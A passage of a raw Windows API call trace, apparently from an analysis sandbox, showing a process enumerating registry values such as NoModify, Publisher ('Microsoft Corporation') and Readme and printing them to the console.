(HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.196] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.196] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.196] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.196] GetProcessHeap () returned 0x2e0000 [0147.196] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.196] GetProcessHeap () returned 0x2e0000 [0147.196] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.196] GetProcessHeap () returned 0x2e0000 [0147.196] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.196] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.197] __iob_func () returned 0x7fefd702a80 [0147.197] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.197] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.197] _fileno (_File=0x7fefd702ab0) returned 1 [0147.197] _errno () returned 0xc4bb0 [0147.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.197] _errno () returned 0xc4bb0 [0147.197] GetFileType (hFile=0x50) returned 0x1 [0147.197] lstrlenW (lpString=" ") returned 4 [0147.197] GetConsoleOutputCP () returned 0x1b5 [0147.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.197] GetConsoleOutputCP () returned 0x1b5 [0147.197] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.197] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.197] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.197] lstrlenW (lpString="NoModify") returned 8 [0147.197] __iob_func () returned 0x7fefd702a80 [0147.197] _fileno (_File=0x7fefd702ab0) returned 1 [0147.197] _errno () returned 0xc4bb0 [0147.197] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.197] _errno () returned 0xc4bb0 [0147.197] GetFileType (hFile=0x50) returned 0x1 [0147.197] lstrlenW (lpString="NoModify") returned 8 [0147.197] GetConsoleOutputCP () returned 0x1b5 [0147.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.198] GetConsoleOutputCP () returned 0x1b5 [0147.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0147.198] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.198] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.198] __iob_func () returned 0x7fefd702a80 [0147.198] _fileno (_File=0x7fefd702ab0) returned 1 [0147.198] _errno () returned 0xc4bb0 [0147.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.198] _errno () returned 0xc4bb0 [0147.198] GetFileType (hFile=0x50) returned 0x1 [0147.198] lstrlenW (lpString=" ") returned 4 [0147.198] GetConsoleOutputCP () returned 0x1b5 [0147.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.198] GetConsoleOutputCP () returned 0x1b5 [0147.198] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.198] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.198] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.198] __iob_func () returned 0x7fefd702a80 [0147.198] _fileno (_File=0x7fefd702ab0) returned 1 [0147.198] _errno () returned 0xc4bb0 [0147.198] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.198] _errno () returned 0xc4bb0 [0147.199] GetFileType (hFile=0x50) returned 0x1 [0147.199] lstrlenW (lpString="REG_DWORD") returned 9 [0147.199] GetConsoleOutputCP () returned 0x1b5 [0147.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.199] GetConsoleOutputCP () returned 0x1b5 [0147.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.199] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.199] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.199] __iob_func () returned 0x7fefd702a80 [0147.199] _fileno (_File=0x7fefd702ab0) returned 1 [0147.199] _errno () returned 0xc4bb0 [0147.199] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.199] _errno () returned 0xc4bb0 [0147.199] GetFileType (hFile=0x50) returned 0x1 [0147.199] lstrlenW (lpString=" ") returned 4 [0147.199] GetConsoleOutputCP () returned 0x1b5 [0147.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.199] GetConsoleOutputCP () returned 0x1b5 [0147.199] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.199] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.199] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.200] __iob_func () returned 0x7fefd702a80 [0147.200] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.200] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.200] _fileno (_File=0x7fefd702ab0) returned 1 [0147.200] _errno () returned 0xc4bb0 [0147.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.200] _errno () returned 0xc4bb0 [0147.200] GetFileType (hFile=0x50) returned 0x1 [0147.200] lstrlenW (lpString="0x1") returned 3 [0147.200] GetConsoleOutputCP () returned 0x1b5 [0147.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.200] GetConsoleOutputCP () returned 0x1b5 [0147.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.200] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.200] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.200] __iob_func () returned 0x7fefd702a80 [0147.200] _fileno (_File=0x7fefd702ab0) returned 1 [0147.200] _errno () returned 0xc4bb0 [0147.200] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.200] _errno () returned 0xc4bb0 [0147.200] GetFileType (hFile=0x50) returned 0x1 [0147.200] lstrlenW (lpString="\n") returned 1 [0147.200] GetConsoleOutputCP () returned 0x1b5 [0147.200] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.200] GetConsoleOutputCP () returned 0x1b5 [0147.201] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.201] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.201] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.201] GetProcessHeap () returned 0x2e0000 [0147.201] GetProcessHeap () returned 0x2e0000 [0147.201] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.201] GetProcessHeap () returned 0x2e0000 [0147.201] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.201] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.201] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.201] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.201] GetProcessHeap () returned 0x2e0000 [0147.201] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.201] GetProcessHeap () returned 0x2e0000 [0147.201] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.201] GetProcessHeap () returned 0x2e0000 [0147.201] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.201] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.201] __iob_func () returned 0x7fefd702a80 [0147.201] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.201] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.201] _fileno (_File=0x7fefd702ab0) returned 1 [0147.201] _errno () returned 0xc4bb0 [0147.201] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.201] _errno () returned 0xc4bb0 [0147.201] GetFileType (hFile=0x50) returned 0x1 [0147.201] lstrlenW (lpString=" ") returned 4 [0147.201] GetConsoleOutputCP () returned 0x1b5 [0147.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.202] GetConsoleOutputCP () returned 0x1b5 [0147.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.202] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.202] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.202] lstrlenW (lpString="Publisher") returned 9 [0147.202] __iob_func () returned 0x7fefd702a80 [0147.202] _fileno (_File=0x7fefd702ab0) returned 1 [0147.202] _errno () returned 0xc4bb0 [0147.202] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.202] _errno () returned 0xc4bb0 [0147.202] GetFileType (hFile=0x50) returned 0x1 [0147.202] lstrlenW (lpString="Publisher") returned 9 [0147.202] GetConsoleOutputCP () returned 0x1b5 [0147.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.202] GetConsoleOutputCP () returned 0x1b5 [0147.202] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.202] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.202] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.202] __iob_func () returned 0x7fefd702a80 [0147.202] _fileno (_File=0x7fefd702ab0) returned 1 [0147.202] _errno () returned 0xc4bb0 [0147.203] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.203] _errno () returned 0xc4bb0 [0147.203] GetFileType (hFile=0x50) returned 0x1 [0147.203] lstrlenW (lpString=" ") returned 4 [0147.203] GetConsoleOutputCP () returned 0x1b5 [0147.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.203] GetConsoleOutputCP () returned 0x1b5 [0147.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.203] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.203] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.203] __iob_func () returned 0x7fefd702a80 [0147.203] _fileno (_File=0x7fefd702ab0) returned 1 [0147.203] _errno () returned 0xc4bb0 [0147.203] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.203] _errno () returned 0xc4bb0 [0147.203] GetFileType (hFile=0x50) returned 0x1 [0147.203] lstrlenW (lpString="REG_SZ") returned 6 [0147.203] GetConsoleOutputCP () returned 0x1b5 [0147.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.204] GetConsoleOutputCP () returned 0x1b5 [0147.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.204] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.204] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.204] __iob_func () returned 0x7fefd702a80 [0147.204] _fileno (_File=0x7fefd702ab0) returned 1 [0147.204] _errno () returned 0xc4bb0 [0147.204] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.204] _errno () returned 0xc4bb0 [0147.204] GetFileType (hFile=0x50) returned 0x1 [0147.204] lstrlenW (lpString=" ") returned 4 [0147.204] GetConsoleOutputCP () returned 0x1b5 [0147.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.204] GetConsoleOutputCP () returned 0x1b5 [0147.204] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.204] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.204] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.205] __iob_func () returned 0x7fefd702a80 [0147.205] _fileno (_File=0x7fefd702ab0) returned 1 [0147.205] _errno () returned 0xc4bb0 [0147.205] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.205] _errno () returned 0xc4bb0 [0147.205] GetFileType (hFile=0x50) returned 0x1 [0147.205] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.205] GetConsoleOutputCP () returned 0x1b5 [0147.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.205] GetConsoleOutputCP () returned 0x1b5 [0147.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.205] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.205] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.205] __iob_func () returned 0x7fefd702a80 [0147.205] _fileno (_File=0x7fefd702ab0) returned 1 [0147.205] _errno () returned 0xc4bb0 [0147.205] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.205] _errno () returned 0xc4bb0 [0147.205] GetFileType (hFile=0x50) returned 0x1 [0147.205] lstrlenW (lpString="\n") returned 1 [0147.205] GetConsoleOutputCP () returned 0x1b5 [0147.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.206] GetConsoleOutputCP () returned 0x1b5 [0147.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.206] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.206] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.206] GetProcessHeap () returned 0x2e0000 [0147.206] GetProcessHeap () returned 0x2e0000 [0147.206] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.206] GetProcessHeap () returned 0x2e0000 [0147.206] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.206] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.206] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.206] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.206] GetProcessHeap () returned 0x2e0000 [0147.206] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.206] GetProcessHeap () returned 0x2e0000 [0147.206] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.206] GetProcessHeap () returned 0x2e0000 [0147.206] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.206] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.206] __iob_func () returned 0x7fefd702a80 [0147.206] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.206] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.206] _fileno (_File=0x7fefd702ab0) returned 1 [0147.206] _errno () returned 0xc4bb0 [0147.206] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.206] _errno () returned 0xc4bb0 [0147.206] GetFileType (hFile=0x50) returned 0x1 [0147.206] lstrlenW (lpString=" ") returned 4 [0147.206] GetConsoleOutputCP () returned 0x1b5 [0147.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.207] GetConsoleOutputCP () returned 0x1b5 [0147.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.207] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.207] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.207] lstrlenW (lpString="Readme") returned 6 [0147.207] __iob_func () returned 0x7fefd702a80 [0147.207] _fileno (_File=0x7fefd702ab0) returned 1 [0147.207] _errno () returned 0xc4bb0 [0147.207] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.207] _errno () returned 0xc4bb0 [0147.207] GetFileType (hFile=0x50) returned 0x1 [0147.207] lstrlenW (lpString="Readme") returned 6 [0147.207] GetConsoleOutputCP () returned 0x1b5 [0147.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.207] GetConsoleOutputCP () returned 0x1b5 [0147.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0147.207] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.207] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.207] __iob_func () returned 0x7fefd702a80 [0147.207] _fileno (_File=0x7fefd702ab0) returned 1 [0147.207] _errno () returned 0xc4bb0 [0147.207] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.207] _errno () returned 0xc4bb0 [0147.207] GetFileType (hFile=0x50) returned 0x1 [0147.208] lstrlenW (lpString=" ") returned 4 [0147.208] GetConsoleOutputCP () returned 0x1b5 [0147.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.208] GetConsoleOutputCP () returned 0x1b5 [0147.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.208] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.208] __iob_func () returned 0x7fefd702a80 [0147.208] _fileno (_File=0x7fefd702ab0) returned 1 [0147.208] _errno () returned 0xc4bb0 [0147.208] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.208] _errno () returned 0xc4bb0 [0147.208] GetFileType (hFile=0x50) returned 0x1 [0147.208] lstrlenW (lpString="REG_SZ") returned 6 [0147.208] GetConsoleOutputCP () returned 0x1b5 [0147.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.208] GetConsoleOutputCP () returned 0x1b5 [0147.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.208] fprintf (in: _File=0x7fefd702ab0, 